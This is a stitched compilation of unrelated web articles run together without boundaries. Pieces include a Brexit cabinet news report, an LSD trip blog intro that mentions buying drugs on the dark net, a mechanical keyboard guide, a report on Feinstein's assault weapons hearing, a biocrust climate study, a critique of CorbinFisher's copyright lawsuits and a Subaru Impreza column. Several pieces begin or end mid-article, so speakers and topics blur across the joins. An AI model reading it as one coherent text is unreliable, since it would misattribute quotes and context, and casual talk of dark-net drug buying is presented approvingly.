Her spokeswoman said the group also had a long discussion on their commitment to the devolved nations of the UK, promising to “make sure Brexit works for all”. However, they made clear that it would be the UK government’s decision to establish the terms of Britain’s EU exit and when it would begin, ruling out any possibility of a Scottish veto.
The Brexit debate needs more tolerance on both sides | Michael White Read more
Charles Grant, director of the Centre for European Reform, said immigration controls meant Britain’s Brexit deal would not be along the lines of that used for Norway or Switzerland. Instead, it put the UK on track for a Canada-style agreement, with free trade for manufactured goods but not necessarily for services.
“People have been assuming there will have to be restrictions on immigration of some sort, either an emergency brake, or an Australian-style points system for European workers,” he said.
“Whatever system we go for it is going to be unacceptable to our partners if we want access to the single market. We will only have limited access to the single market and have to content ourselves with a free trade agreement, which would not cover many of our key services sectors including financial services.”
The foreign secretary, Boris Johnson, has suggested that Britain could retain membership of the EU with restrictions on freedom of movement but European diplomats have responded by calling it a “pipe dream”.
Officials in Johnson’s department are some of the most keen in Whitehall to remain as close to Europe as possible, while those in the Treasury are also pushing hard for single market access in particular sectors such as financial services.
David Davis, secretary of state for the newly created Department for Exiting the EU, has claimed that European countries will offer Britain a good economic deal because it is in their interest to do so. Liam Fox, who will be leading trade efforts with the rest of the world, has argued that not being in the single market is a price worth paying for border control.
Labour’s shadow foreign secretary, Emily Thornberry, seized on the cabinet’s discussions about no vote for MPs and no veto for the devolved nations.
“The country was dragged into this mess by a Tory party acting as a law unto themselves, and now they want to trust us to get them out of it, acting in exactly the same way,” she said.
“It is sheer, high-handed arrogance for them to say they will take all the decisions themselves, with no consultation of parliament or the public, with the devolved administrations consulted but not listened to, and with the governments of London and Gibraltar now not even mentioned.”
May and her team were keen to emphasise the idea that Britain would still be open for business and agreed to brand the first day of Tory conference as being about “global Britain – showing that we are more outward-looking than ever before”.
During a presentation, Tory party chairman Patrick McLoughlin said the party would have the largest attendance in a decade for October’s event, and said the party’s membership had grown by 50,000 over the summer.
The theme of the four-day gathering in Birmingham would be “a country that works for everyone”, he said, echoing the message delivered by May when she delivered a speech before entering Downing Street as prime minister for the first time.
At Wednesday’s meeting at her country retreat, which stretched across much of the day, with a political session in the afternoon without civil servants, May praised the fantastic success of Team GB in the Olympics. She called it “absolutely great” and wished the country’s Paralympians well.
The prime minister said she wanted to discuss social reform, arguing that a major priority was wanting “to be a government and a country that works for everyone”.
“I want it to be a society where it’s the talent that you have and how hard you’re prepared to work that determines how you get on, rather than your background,” she said.
And she insisted that the government had to discuss how “we can get tough on irresponsible behaviour in big business – again making sure that actually everyone is able to share in the country’s prosperity”.
The ministers were keen to stress that their party was “united” and to contrast that with Labour, which the spokeswoman described as an “inward-looking and divided opposition”.
The cabinet meeting came as a new ICM/Guardian poll gives the Conservatives a 14-point lead over the opposition, with May’s party up one point to 41%, while Labour has fallen one point to 27%.
The survey had Ukip third with 13%, followed by the Liberal Democrats on 9%.
The Tories’ strong lead could be underpinned by consumer confidence, according to ICM director Martin Boon, who said that while 53% of the public were confident in the measure of financial security, just 19% were not confident.
Facebook Twitter Pinterest Boris Johnson, the foreign secretary, seated next to the prime minister, updated colleagues on the campaign against Islamic State in Syria, Iraq and Libya. Photograph: WPA Pool/Getty Images
“The gap of +34 is well ahead of the +23 noted in March 2015 and indeed not beaten since June 2002. The rampant fears of Brexit appear to have manifestly failed to dent the hardy British consumer, at least for now,” he said.
The economic outlook was also discussed at cabinet alongside a commitment to fiscal discipline and “seizing the opportunity of Brexit to confirm the UK’s place as one of the great trading nations in the world”.
Boris Johnson, the foreign secretary, who sat next to the prime minister, updated colleagues on the campaign against Islamic State in Syria, Iraq and Libya.
I’ve always been sort of down to try acid, it was just never put in front of me. It’s sort of like back when I was a huge nerd in high school and was generally down to drink and smoke pot, and my main obstacle was opportunity.
At some point I was in need of a weed dealer and turned to the Dark Net. At that point I realized that LSD was incredibly easy to get, and incredibly affordable. So I bought a nice batch and have been tripping ever since.
My first few trips were with friends. They were great experiences. My main personal experience was that I simply could not shut up. Unless I was listening intently to someone else (also common) I would be steadily babbling away the entire time. Eventually I tried a solo trip, and found it to be a very different experience. Still, I felt like I had a lot to say, so I started writing down my random thoughts while tripping – especially since I quite enjoyed reading them once I was sober, and they were difficult to remember otherwise.
A bit later still, I discovered the psychedelic community on reddit, and started posting some of what I’d written. People seemed to like it, and I got into a fit of acid driven enthusiasm, so I created this blog to store at all. Now whenever I get the graphomaniac urge while tripping, I will post the results here, in the hope that others will enjoy them. Please, please, comment on this site or on the links I post to reddit, I thrive on positive feedback.
I’d recommend starting at my first post: A Trip to the Zoo
And if you’re in the DC area, post or PM me or some such, there’s a slowly percolating movement to get a little psychedelic meetup going.
PS Follow the blog on twitter for new post alerts: https://twitter.com/aciddcly
Danganronpa One More Another Episode?
Spike Chunsoft is recruiting staff for “Danganronpa modeling and texture creation.”
According to the job listing, which was posted on November 13, the company is seeking a game programmer, character designer, and 3D designer who will “mainly participate in [the development of] Danganronpa.” The specific duties of the staff are said to consist of “character modeling” and “texture creation.”
The work environment section of the job listing reads the following:
Platforms: PlayStation 4, PS Vita, etc.
Genre: Action, etc.
Tools: Maya, ZBrush, PhotoShop
The “etc.” part of each bullet can be a bit confusing, but at the very least it suggests a new Danganronpa action game is in development for PlayStation 4 and PS Vita. The “character modeling” duties of the recruited staff also support that, as characters in traditional Danganronpa games are 2D.
The latest entry in the Danganronpa series, Danganronpa V3: Killing Harmony (pictured), launched in Japan in January, followed by North America and Europe in September. While the Danganronpa series mainly consists of adventure games, it has seen an action game spin-off in the past with the release of Danganronpa Another Episode: Ultra Despair Girls in 2014.
By KARL RITTER, Associated Press
MARRAKECH, Morocco (AP) — U.S. Secretary of State John Kerry made a stirring appeal Wednesday to all countries — including his own — to press ahead with the fight against climate change, saying a failure to do so would be a "betrayal of devastating consequences."
Without mentioning Donald Trump by name, Kerry's speech at the U.N. climate talks was partly aimed at the Republican president-elect who has called global warming a "hoax" and has pledged to "cancel" the Paris deal limiting greenhouse gas emissions.
"No one has the right to make decisions that affect billions of people based solely on ideology or without proper input," Kerry said.
With 2016 on track to be the hottest year on record, Kerry said the impacts of global warming are now evident across the world with record-breaking droughts, rising sea levels, unusual storms and millions of people displaced by weather events.
"At some point even the strongest skeptic has to acknowledge that something disturbing is happening," he said.
The U.S. election outcome has created deep uncertainty about the U.S. role in international climate talks — and about the Paris Agreement adopted last year by more than 190 countries. But Kerry said the U.S. was already in the midst of a clean energy transition that would continue regardless of policy-making.
"I can tell you with confidence that the United States is right now today on our way to meeting all of the international targets we have set," Kerry said. "Because of the market decisions that are being made, I do not believe that that can or will be reversed."
The Obama administration pledged during the Paris negotiations to reduce U.S. emissions by 26-28 percent from 2005 levels by 2025.
Bill Hare, director of the Climate Analytics research group, said the U.S. in on the right path toward meeting its target "but a bit more is needed to get there."
He said if Trump dismantles Obama policies such as the Climate Action Plan and Clean Power Plan, then U.S. emissions would stay at current levels instead of decrease.
Paul Bledsoe, a former Clinton White House climate adviser, said clean energy and efficiency investments by U.S. businesses and consumers are likely to keep American emissions falling overall.
However, he added that "most analysts believe it will take additional government policies that Trump is highly unlikely to pursue to meet the sharper emissions cuts the U.S. has pledged by 2025 under the Paris agreement."
Kerry said an "overwhelming majority" of Americans know that climate change is happening and support the U.S. commitments under the Paris deal.
Falling short in the fight against climate change would be a "moral failure, a betrayal of devastating consequences," he said.
Kerry said climate change shouldn't be a partisan issue and noted that military and intelligence leaders have recognized its potential as a "threat-multiplier."
He asked leaders in all parts of the world, "including my own," to inform themselves about climate change by talking to scientists, economists, business leaders and other experts.
In recent years many major tech brands have released their own models on the market. However despite their growing popularity there are still many questions about them.
“What’s the advantage of owning a mechanical keyboard?”
“What’s wrong with standard run-of-the-mill keyboards that you find bundled with desktop computers?”
These are indeed good questions. I’ve been down this path myself so I understand the confusion. I’ll attempt to quench any “mech” curiosity with a simple breakdown.
Let’s Get Started!
There are a few distinct characteristics known to most mechanical keyboards. These include:
– Heavy build quality
– Audible “clicking” when typing
– Tactile feedback from the keys
– Removable/replaceable keycaps
– The price…
The most famous mechanical keyboard in computer history is the IBM Model M.
Recognized for its rugged design and satisfying clickiness, the Model M is one of the most sought out mechs around. Released in 1985, the Model M set the standard for what a high quality practical keyboard should possess. To this day there are collectors and enthusiasts who buy these keyboards used online or at meetups.
If you’ve noticed the loud and exaggerated typing sounds used in movies then you’re probably familiar with its sound. Many shows on TV and other media have overdubbed the sound of their on-screen keyboards with mechanical clicks.
The clicking produced is due to the keyboard’s patented buckling spring design. The example below illustrates the mechanism as a keystroke occurs:
Buckling spring key on key press and release. U.S. Patent 4,118,611, issued to IBM in 1978
The Average Keyboard
In comparison, today’s average keyboards tend to be crafted from cheap and flimsy parts.
Exhibiting lesser form in contrast to the earlier days of computing. The standard membrane/rubber dome designs tend to wear down quicker and require replacing more frequently.
The contact points lose sensitivity under the most frequent keystrokes, creating uneven feedback over time. The rubber button pads beneath the keys progressively lose their springiness, becoming increasingly mushy and unsatisfying to type on.
Mechs in a Modern World
Modern mechanical keyboards are fashioned after keyboards of the past. Embodying impressive durability and reliability, they’re usually adorned with LED backlighting among other cool modern effects.
A resurgence in mechanical keyboard interest has pushed companies to release their own versions to keep up with demand. Each keyboard released with their own unique feel, software, color, or gimmick.
Professional typists and gamers alike have commended and attributed a boost in their own personal performance to the mechanical design.
There is admittedly an unparalleled quality when using them. A preciseness and overall stability. Along with that quality usually comes a hefty price tag with most mechanical keyboards selling in the $100 – $200 range.
Pictured: Max Keyboard Blackbird Tenkeyless (TKL)
Unlike the IBM Model M which used the buckling spring design, the modern mech uses a series of mechanical switches utilizing different mechanisms for typing.
Typically when you’re looking at different mechanical keyboards on the market today they’re using Cherry brand switches.
Alas purchasing a mechanical keyboard is a bit of an investment so it’s wise to try to sort out the details beforehand. The options available can initially seem overwhelming without firsthand experience. So let’s talk about the differences between Cherry MX switches and what they have to offer.
Cherry is the most prominent manufacturer of mechanical switches on the market. They offer a variety of switch types in their popular MX series. Cherry MX switches are color coded to differentiate their features.
Brands such as Das Keyboard, Max Keyboard, and Cooler Master have been selling keyboards with Cherry switches for some time. Usually you can have your pick of the switch type that suits you during checkout.
Take a look at the example below demonstrating a Cherry MX Blue switch being pressed. You can see how it differs from the buckling spring design of the Model M.
Cherry MX Blue switch mechanism in action
The mechanical click sound occurs at the actuation point; the moment when the keystroke is registered. The switch actuates about halfway down the push and is accompanied by a tactile bump.
The resistant bump felt when the key is being depressed offers a different feel from the average keyboard key. This creates a unique typing experience as you’re only required to press the keys halfway before they appear on screen. This particular trait allows for you to potentially develop a much quicker typing style.
If you like the idea of the tactile bump but not necessarily the clickiness then you’ll prefer Cherry MX Brown switches for example. These switches provide a bump that can be felt halfway through the keystroke, but without a sound accompanying it.
There’s also Cherry MX Red switches if you prefer the keys to “bottom out” in a linear fashion like a standard keyboard would while typing. The most common Cherry MX switches are Red, Blue, and Brown with the less common being Black, Green, and Clear. Each Cherry MX switch type/color maintains its own unique feel.
Mechanical Keyboard Guide
I’ve created a simple guide to illustrate the difference between the Cherry MX switch types (See below). This will clarify which switches are linear, which have a tactile “bump” at the halfway point, and which switches produce an audible click sound.
You’ll notice the “Force” section of the guide lists a different number next to each switch type. This number represents the amount of pushdown tension required to actuate the switch. The amount of activation force is measured in centinewtons and is abbreviated as [cN].
Cherry Picking
The Cherry MX Red is closest to the everyday keyboard in terms of the force required to register the keystroke. Despite having a similar push down tension there’s still an unmistakable satisfaction to typing with a mechanical keyboard. The overall sturdiness in design along with the mechanical keys adds a discernable liveliness to your keystrokes.
Here’s how I’ve grouped the switches:
– Red and Black provide no tactile feedback or audible click, they simply bottom-out when you press them. This makes them Linear switches. The difference between them is just the amount of force required pushing the keys, Black being more resilient than Red.
– Blue and Green also share a similar relationship, Green requiring more force to actuate than Blue. Both have a noticeable tactile bump once a key is halfway depressed. They also produce a click sound.
– Brown and Clear are basically the silent versions of Blue and Green. Desirable to those who prefer the tactile feel of Blue or Green but don’t want to annoy their coworkers etc.
My first mechanical keyboard came with Cherry MX Greens and I absolutely loved the feel and sound of them. However I found that the amount of force required while typing led to missing keystrokes and frequent spelling errors.
Shortly after I went ahead and bought a mech with Cherry MX Blues which completely resolved the issue. I consider myself a heavy handed typist too, so I thought Greens would have been the right choice for me.
Just a Test
Thankfully some brands have released switch samplers that allow you to test different switch types before you make your purchase. I bought this CM Storm (Cooler Master) sampler a while back to better understand the feel between Cherry MX switches.
The sampler comes with 6 popular switch types and even has removable keycaps if you’re interested in seeing what’s beneath. Here’s a quick video I made demonstrating the difference between the feel and sound of the different switch types:
Sound Check
I recorded a couple of sound clips while typing with Cherry MX switches so you can have a tonal reference:
Cherry MX Blue
Cherry MX Brown
The Others
Cherry isn’t the only brand of mechanical switches out there. Other companies such as Kailh and Gateron produce similar switches using their own color coordinated options.
Recently brands like Razer and Logitech have designed their own in-house switches and mechanical keyboards. None of these brands seem to garner the same amount of respect from enthusiasts as Cherry however.
There’s even other obscure switch types out there with varying degrees of clickiness and resistance, especially outside of the US. I won’t even bother going into these other shades and shapes for sanity’s sake but they are out there.
There are many styles of mechs available each with their own aesthetic values and functions. Some designs are catered towards gamers with futurist or cyberpunk embellishments while others maintain a more reserved or professional look.
You can’t go wrong either way because overall it comes down to taste. You may prefer a different mech in the workplace than you would at home for example. This takes us into another area of mechanical keyboards: customization.
Pictured: Razer BlackWidow Ultimate (2013 version with Cherry switches)
Customization & Keycaps
Another beloved feature of mechanical keyboards is the ability to remove, replace, or customize the keycaps.
Most mechs even come with a keycap puller allowing you to safely lift the keycaps right off of the switches. This gives you the ability to replace a fading or damaged keycap individually without having to replace the entire keyboard.
Keycap Puller Tool
The arms of the puller will expand as you push it down on the keycap. You’ll hear a click when it grips the underside of the keycap.
A steady upward pull will lift the keycap right off the switch with relative ease.
There’s already a plethora of custom made keycaps available online for you to pick from. This gives you the freedom to replace normal letterings with symbols or designs that you can’t experience with standard keyboards.
In fact, there are websites that let you upload your own custom images that can be printed atop keycaps of your choosing. I’ve seen people using 3D printers to custom create keycaps to their heart’s desire as well.
With this in mind, make sure that if you are ordering or making custom keycaps that they fit the sizing conventions of your keyboard’s layout. Not all brands use the same keycaps and you could end up with keys being too short or incompatible altogether.
Conclusion
If you want to learn more about mechanical keyboards, there are plenty of resources available online. Some may be easier to understand than others, but hopefully at this point mechanical keyboards and the switches that occupy them are starting to make more sense.
There are also communities and forums whose members will gladly help you with any questions you may have. Definitely check out /r/mechanicalkeyboards on Reddit since there is a wealth of information available on the topic.
Clemson, Florida State, Oklahoma and Tennessee, strangely enough, lead the way at 10 wins each. Alabama, LSU and Michigan are next at 9.5. The Golden Nugget only released a handful of top programs.
MORE: 100 reasons to be excited for college football season
College football betting season win totals
Clemson 10 (over -120)
Alabama 9.5
Florida State 10 (over -120)
Oklahoma 10 (under -130)
LSU 9.5 (over -140)
Michigan 9.5 (over -120)
Houston 9 (under -150)
Notre Dame 9 (under -125)
Ohio State 8.5 (over -115)
Tennessee 10
Baylor 9 (under -125)
Michigan State 8 (under -135)
Stanford 8 (under -130
Ole Miss 7.5 (under -115)
Georgia 8.5 (over -145)
Auburn 7 (over -120)
UCLA 9 (over -120)
USC 7.5 (over -120)
Oregon 8.5 (under -120)
Florida 8 (under -125)
Louisville 9
TCU 8.5 (under -125)
Oklahoma State 8.5 (under -130)
Sen. Feinstein continues her push for a ban on some semi-automatic weapons
The NRA opposes any kind of weapons ban
The legislative focus is on gun trafficking, straw purchases and background checks
It may be politically quixotic, but Sen. Dianne Feinstein proceeded undeterred Wednesday in seeking an updated version of the assault weapons ban she sponsored in 1994 that expired a decade later.
At an emotional committee hearing, Feinstein brought together families who lost loved ones to gun violence, police officials and others to call for banning military-style weapons from civilian use.
"It is hard for me to be here today to talk about my deceased son but I have to," sobbed Neil Heslin, whose son, Jesse, was one of 20 first-graders shot to death in December in a Connecticut school. "I am his voice. I am not here for the sympathy or a pat on the back. There's many people that stayed in the town of Newtown. I am here to speak up for my son."
Despite later testimony from witnesses who cited statistics in challenging the effectiveness of tougher gun laws, Feinstein and other supporters said they couldn't understand how anyone could argue that the general public has a constitutional right to weapons designed purely to kill as fast and brutally as possible.
"This is not a class. This is not a case study. People die. That's what happens," said Philadelphia Mayor Michael Nutter in arguing that police officers in his city get outgunned by criminals.
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"No one has ever been able to explain why a civilian should have a military-style assault weapon for anything," he added to applause in the hearing room.
Fierce opposition by the influential National Rifle Association and conservative legislators, including some Democrats, makes it virtually impossible for the kind of ban proposed by Feinstein to win congressional approval.
Instead, the legislative focus has shifted to expanding and strengthening background checks for gun purchases, as well as toughening laws against gun trafficking and so-called straw purchases.
At the conclusion of Wednesday's Judiciary Committee hearing, Feinstein acknowledged the challenge, saying: "It's an uphill climb."
Clearly hoping the emotional scenes of Heslin and other victims of gun violence would generate public pressure on Congress to act, she said victory could be possible "with a little bit of help from the people of America."
President Barack Obama has proposed a package that includes a ban on semi-automatic firearms that mimic military assault rifles, as well as limiting ammunition magazines to 10 rounds and requiring background checks on all gun sales to close a loophole for private transactions.
Feinstein is pushing the weapons ban component of legislation the Judiciary Committee will consider in coming weeks. She led the battle for the 1994 assault weapons ban, which ended in 2004 when Congress failed to renew it.
Photos of the Newtown victims filled a poster behind Feinstein as she opened Wednesday's hearing by saying a renewed push for an assault weapons ban was necessary "because the massacre in Newtown was sadly not an anomaly."
Citing seven mass shootings in 2012 that included notorious incidents in Aurora, Colorado , and the Connecticut attack, Feinstein said "we cannot allow the carnage I have described to continue."
Her proposal would ban the manufacture or sale of hundreds of semi-automatic weapons modeled after military assault rifles, as well as ammunition magazines that can hold more than 10 rounds.
Anticipating arguments by the NRA and other opponents, Feinstein made clear the proposal only applied to future sales, saying anyone who legally owns one of the weapons targeted could keep it.
In addition, the legislation specifically excludes more than 2,000 kinds of shotguns and other firearms designed and used for hunting and sporting purposes, she noted.
A video clip she played showed how legal semi-automatic rifles can be easily modified to fire like fully automatic weapons that are banned under current law.
Republican opponents of Feinstein's proposal argued that the 1994 ban proved ineffective, citing studies that determined the law had no direct effect in reducing gun violence.
In one of several clashes between legislators and witnesses, conservative Sen. Lindsey Graham of South Carolina challenged Milwaukee Police Chief Edward Flynn over a lack of prosecutions of people who failed to pass background gun checks
When Graham said the low number of prosecutions showed current laws weren't being enforced, Flynn angrily responded that police officers have to prioritize resources and go after armed criminals instead of "chasing paper," such as failed background checks.
"We don't chase paper. We chase people who have guns illegally," Flynn said, talking over Graham's efforts to stop him.
Another witness, U.S. Attorney John Walsh of Colorado, later responded to a similar argument from conservative Sen. John Cornyn of Texas by saying that "we go for the worst of the worst."
"The worst of the worst is a bad guy actually using a gun," Walsh said, adding that the 1.5 million gun sales rejected by a failed background check was "a record of success" regardless of how many prosecutions ensued.
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Feinstein and other supporters also noted that limits on ammunition magazines would require attackers in mass shootings to reload more frequently, providing more time to stop them.
However, witnesses opposed to limits on weapons contended Feinstein's proposal would be open to legal challenge, and would give criminals who acquire weapons illegally an advantage over law-abiding gun owners.
Former Rep. Sandy Adams, R-Florida, said it was not the time for "feel-good legislation so you can say you did something."
"Taking guns from law-abiding citizens while leaving them defenseless against violent criminals, who by their very definition do not abide by the law, is not the answer and it is definitely not the right thing to do," she said in her opening statement.
The reference to "feel-good legislation" drew a rebuke from Sen. Dick Durbin, D-Illinois, who told Adams that he was sorry she used the phrase.
"I don't feel good about being here today," Durbin said. " Mr. Heslin does not feel good about being here today."
Feinstein noted that the 1994 ban was challenged repeatedly in federal courts on multiple grounds, including Second Amendment protections, and survived each time.
In his opening statement, Republican Sen. Chuck Grassley of Iowa conceded that some gun legislation would emerge in the aftermath of the Newtown killings. In particular, he said, new laws would target gun trafficking and straw purchases -- in which a legal buyer purchases firearms for others who are ineligible.
The Judiciary Committee chairman, Sen. Patrick Leahy of Vermont, was adamant Sunday that expanded background checks would not include provisions to register gun owners. But he said that responsible Americans looking to purchase firearms shouldn't fear robust checks.
To Lanae Erickson Hatalsky of Third Way, an independent policy group, what she called "political reality" means that Congress will focus more on keeping weapons out of the wrong hands instead of a new weapons ban.
That strategy reflects "an understanding of gun crime in the country," she told CNN earlier this month
The NRA and other opponents contend that any limit on private gun ownership violates the constitutional right to bear arms. Even partial steps in that direction, such as prohibiting specific models, are considered a path to potential confiscation or other future elimination of Second Amendment rights, they argue.
In recent decades, the NRA has led lobbying efforts that shifted the discussion away from stronger gun controls -- such as an outright ban on handguns and a national registration of gun ownership pushed by top Democrats in the 1980s and 90s -- to the incremental measures under consideration now.
Erickson Hatalsky, the director of social policy and politics at Third Way, noted examples of the NRA's influence in the last significant gun legislation -- the Brady Bill of 1993 that required background checks on guns purchased from licensed dealers, followed by the limited assault weapons ban a year later.
While the Brady Bill led to the background check system in use today, the NRA made sure it didn't apply to private sales, such as those at gun shows, she said.
NRA President David Keene has said he expected few substantive changes in law because the emotional reaction to the Newtown shooting would eventually give way to common sense regarding gun rights and the wishes of American gun owners.
His organization keeps a scorecard for each Washington legislator on gun issues, and spends millions on campaign contributions to favored candidates.
In Congress, some influential Democrats join virtually all Republicans in opposing, or at least questioning, a renewed ban on semi-automatic weapons like the Bushmaster AR-15-style rifle used in the Newtown shootings.
Senate Majority Leader Harry Reid, who gets high marks from the NRA for his opposition to past gun control efforts, has indicated support for expanding background checks but refuses to endorse a new weapons ban.
According to Reid, a bill from the Judiciary Committee was unlikely to include an updated weapons ban, but he would allow a vote on the provision during floor debate.
Isabella Amara plays Sally, one of Peter Parker’s classmates and a team on the academic decathlon team. She doesn’t have a huge role in the film, but she does feature in multiple scenes in the movie.
While speaking with BlackFilm.com, Amara revealed that her character will appear in the highly anticipated Avengers sequel. “I’m in Spider-Man: Homecoming & Avengers: Infinity War,” Amara said. “They are filming both Infinity Wars back to back but I’m only in the first one.”
Plant cover is sparse in dryland ecosystems, but land that looks bare can be far from lifeless. Up to 70 percent of the ground in drylands is covered by biocrusts, unshowy but vital communities of microbes, mosses, and lichens at the surface of the soil.
Biocrusts are the foundation of dryland ecosystems: they fix carbon and nitrogen, regulate water flow, and hold soil in place, preventing erosion and dust storms. Researchers have long known that these crusts are vulnerable to trampling by humans, livestock, or vehicles. Now, researchers with the U.S. Geological Survey have found that climate change affects biocrusts in a similar way and to an equally dramatic degree as physical disturbance.
The insight comes from a long-term field experiment conducted in the high desert of the Colorado Plateau in Utah, where researchers marked off a series of 2-meter-by-2.5-meter experimental plots. In some, they used heat lamps to warm the soil by 2 degrees Celsius for three years and then by 4 degrees Celsius for the next seven. Other plots got misted with water from hand-held sprayers to simulate frequent, small rainfall events – a pattern predicted for the region under many global climate models. Some plots were subjected to both warming and watering, while control plots received neither treatment. The researchers compared the biocrusts in these plots to those in another set of 2-meter-by-5-meter plots that that were trampled annually between 1996 and 2011.
In healthy, mature biocrusts, strands of microbes called cyanobacteria glue soil particles together. On top of and among the cyanobacteria grow a rich array of lichens and mosses, as well as fungi and other organisms. But both trampling and climate change disrupt these biocrust communities, and in similar ways, the researchers reported yesterday in the Proceedings of the National Academy of Sciences.
Trampling and climate change alike dramatically reduced mosses and lichens in the biocrusts, the researchers found. Meanwhile, cyanobacteria spread to fill in areas from which the other organisms had disappeared. Mosses and lichens covered about 19 percent of the ground area in control plots, but just 0.5 percent in experimental plots.
This pattern of extreme dominance by cyanobacteria, and scarcity of mosses and lichens, is considered characteristic of early successional biocrusts. These early-stage biocrusts don’t absorb water as well, leave the land more vulnerable to erosion, and store less carbon and nitrogen than mature crusts.
The findings are especially concerning because dryland ecosystems cover 40 percent of the Earth’s land surface and may account for up to one-quarter of the carbon stored in soil. Biocrusts play a big role in that. So while biocrusts may not look like much, their effects are globally significant. And people can take steps to mitigate or avoid physical trampling in dryland ecosystems, but warming is almost certain. —Sarah DeWeerdt | September 15, 2015
Source: Ferrrenberg S. et al. “Climate change and physical disturbance cause similar community shifts in biological soil crusts.” Proceedings of the National Academy of Sciencess DOI: 10.1073/pnas.1509050112
Ahem…
The Los Angeles Galaxy’s 2017 MLS Season kicks off next Saturday, March 4 at the StubHub Center in Carson and there’s a lot to look forward to this year. For one, it’ll be much easier to get to Galaxy home games thanks to Long Beach Transit’s Galaxy Express Shuttle.
The shuttle makes its debut for the Galaxy’s final preseason game tonight against the Portland Timbers.
The free shuttle will operate every 10 minutes beginning 90 minutes before kick off and will run through the 15th minute of the game. It will pick up fans from the Blue Line Del Amo Station and Silver Line Harbor Gateway Transit Center. The shuttle will then return fans from the stadium for 45 minutes after the game ends.
The Galaxy will be sharing their space at the StubHub Center with the newly relocated L.A. Chargers come August. No word yet on connecting services for those games. It’s worth noting too that the Los Angeles Football Club (LAFC) will enter the MLS next year and play at the Expo Line-adjacent Banc of California Stadium, currently being built in Exposition Park.
In serving any person with a copyright lawsuit, a plaintiff must explicitly state in court documents — all of which would almost certainly be available to the public — what content the defendant allegedly infringed on. In this case it would have to include the file name and BitTorrent hash/name. Otherwise, no judge would ever permit a suit to move forward. “You’re claiming this person illegally stole ‘some stuff?’” Not gonna fly. Which means CorbinFisher would absolutely need to, in order to meet the most basic requirements of tort law, lay out specifically which content a person allegedly shared. And that lawsuit would be served to the owner of the Internet connection used to share the files (i.e. a kid’s parents). And thus, it wouldn’t take long for the parent to figure out what type of content his kid is accused of uploading, even if the plaintiff is listed only as “Liberty Media,” parent of CorbinFisher.
In another email response published by UnicornBooty.com, CorbinFisher’s attorney claims, “I have allowed them [accused file sharers] every courtesy I could, and have offered to support virtually any lie they want me to support (for example, they were looking at Corbins Coeds). Nobody has ever taken me up on that offer.” So now CorbinFisher is willing to lie in court documents about what type of content the defendant is accused of illegally accessing? Such a move won’t just the case tossed out of court — it could get CorbinFisher’s counsel disbarred. (Find me one judge who will tolerate a plaintiff purposefully misleading the court by knowingly providing factual inaccurances.)
But hey, it’s not like CorbinFisher wants to out gay kids with these lawsuits. They’ve done the “math,” talked to the experts (sorry, expert, singular), and found through their completely flawless calculations that only a negligible number of gay teens would attempt to hurt themselves if they were sued (though it appears no calculations were performed about the kids whose parents will do something negative).
Furthermore, once this myth of the “gay teen crisis” arose, we actually did give a shit. We gave a shit enough to consult with a nationally-known sex therapist about it. We had him second guess our actions and we asked him for his honest opinion as to whether we were possibly creating such a problem. His answer – that if we bring in all the possible co-factors, this might cause “acting-out-behavior” in 1 in 100,000 people. So, lets take our 40,000 potential defendants. Lets cut that to how many are possibly closeted. Half? So now its 1 in 20,000. How many are teenagers? 1/4? Now we’re down to 5,000 teenagers — and I think that is a generous number, at best. How many of them are closeted? Half? Now, 2500. How many of them are from families that won’t be supportive? Half? 1250. How many of them are even possibly on the verge of doing something negative to themselves? 500? I think all these numbers are pretty generous to your “think of the children” meme. But, I don’t have a degree in math… if you have a 1 in 100,000 chance of a negative event, and there are 500 potential subjects, what is the percentage chance of a negative event?
Running over 4-5 February 2017, the event will be held in Sydney’s new International Convention Centre at Darling Harbour.
“When we launched RTX Australia earlier this year we were thrilled with the turnout and response,” said Gus Sorola, Rooster Teeth Co-Founder and Executive Producer, via press release. “The RTX brand historically has experienced exponential growth year over year, and we anticipate over 50% growth in 2017. After wetting our feet in the Australian market in January, we’re ready to do more of everything in 2017: more celebrity guests, more first plays of hot new games, and more surprises to delight our fans.”
The first batch of announced guests include:
Burnie Burns – Rooster Teeth
Gus Sorola – Rooster Teeth
Kerry Shawcross – Rooster Teeth
Miles Luna – Rooster Teeth
Blaine Gibson – Rooster Teeth
Jack Pattillo – Achievement Hunter
Bruce Greene – Funhaus
James Willems – Funhaus
Greg Miller – Kinda Funny
Tim Gettys – Kinda Funny
The Subaru Impreza Turbo - the WRX STI in current parlance - should have blown out in a cloud of atomised rubber, roasted clutch and whistling overboost. Instead, it has ignored Neil and simply faded away. When Subaru’s UK operation quietly announced just before Christmas that it would no longer be importing the car once its current stock was sold, you probably didn’t notice. Even with a Mayan apocalypse looming then, this is a scandal.
You see, for some of us, the Impreza’s demise actually is an end-of-the-world moment. Well, the end of an era, at least. It seems like only yesterday that I was writing a fulsome tribute to the Subaru, adrift in memories of B-roads we had obliterated together, or the telephone-number-priced supercars we had comfortably outpaced, and proclaiming it car of the decade. Actually, that was 13 years ago, and a lot has happened since then, such as broadband, smartphones, and Simon Cowell. But believe me: the Impreza Turbo truly was the car of the decade. And now it is no more.
In fact, we need to go further back, to 1994, the year the Impreza Turbo arrived in the UK, with barely a blip on the radar. Following a nasty recession, life was getting good again, especially if you were young and male. Loaded magazine had just been launched, crystallising the ‘new lad’ subculture, which found fresh expression in booze, birds, and Britpop. But there was a strong automotive element to this subcultural rejuvenation, too. Max Power magazine reflected and stoked the burgeoning modification scene, to an often eye-popping degree. Meanwhile, on television, some bloke called Jeremy Clarkson had given ageing BBC warhorse TopGear a Cuban-heeled boot up the arse.
In other words, without really knowing it, the Subaru Impreza Turbo was the right car at the right time. Normally, you can spot these things, and clever marketing will make you buy something you never even knew you wanted. In the Eighties, that was certainly the case. It was the hot hatch we all aspired to then, the 205 GTI/XR3/Clio 16v sub-breed eventually morphing into slavering beast-cars such as the Lancia Delta Integrale and Escort RS Cosworth. I remember driving both as a callow youth in his first job, but I was immensely lucky: I worked on a car magazine, which meant I didn’t need to worry about insuring the damn things. By 1994, even Croesus would have had trouble covering the premium on a Cossie.
Enter the Impreza, stage left. Rally stage left. So ugly it made a bulldog chewing its way out of a wasp nest look like Kate Moss, the Impreza quickly connected with those in the know in three simple but effective ways: it was powerful, it had all-wheel drive so it handled the typically damp British B-road with spectacular effectiveness, and it wasn’t that expensive. It was also a Subaru, the oddball little automotive division of Fuji Heavy Industries, popular with Cumbrian farmers and, it was rumoured at the time, American lesbians. No adland twonk with a coke habit could have dreamt up the Impreza Turbo, and he probably wouldn’t have bought one, either. It just sort of… happened.
